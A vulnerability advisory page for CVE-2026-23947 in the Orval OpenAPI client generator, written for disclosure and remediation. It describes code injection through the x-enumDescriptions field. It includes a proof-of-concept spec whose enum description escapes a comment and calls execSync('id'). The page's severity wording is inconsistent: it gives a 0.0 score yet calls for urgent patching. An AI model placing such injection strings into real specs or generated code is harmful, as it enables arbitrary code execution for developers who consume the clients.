CVE-2026-23947 is a low severity vulnerability with a CVSS score of 0.0. Exploits are available; patches have been released and should be applied urgently.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
Arbitrary code execution in environments consuming generated clients
This issue is similar in nature to the recently-patched MCP vulnerability (CVE-2026-22785), but affects a different code path in @orval/core that was not addressed by that fix.
The vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript code into generated clients via the x-enumDescriptions field, which is embedded without proper escaping in getEnumImplementation(). I have confirmed that the injection occurs during const enum generation and results in executable code within the generated schema files.
Upgrade to Orval 8.0.2
An example OpenAPI showing the issue:
openapi: 3.0.4
info:
title: Enum PoC
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
responses:
"200":
description: ok
content:
application/json:
schema:
$ref: "#/components/schemas/EvilEnum"
components:
schemas:
EvilEnum:
type: string
enum:
- PWNED
x-enumDescriptions:
- "pwned */ require('child_process').execSync('id'); /*"
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.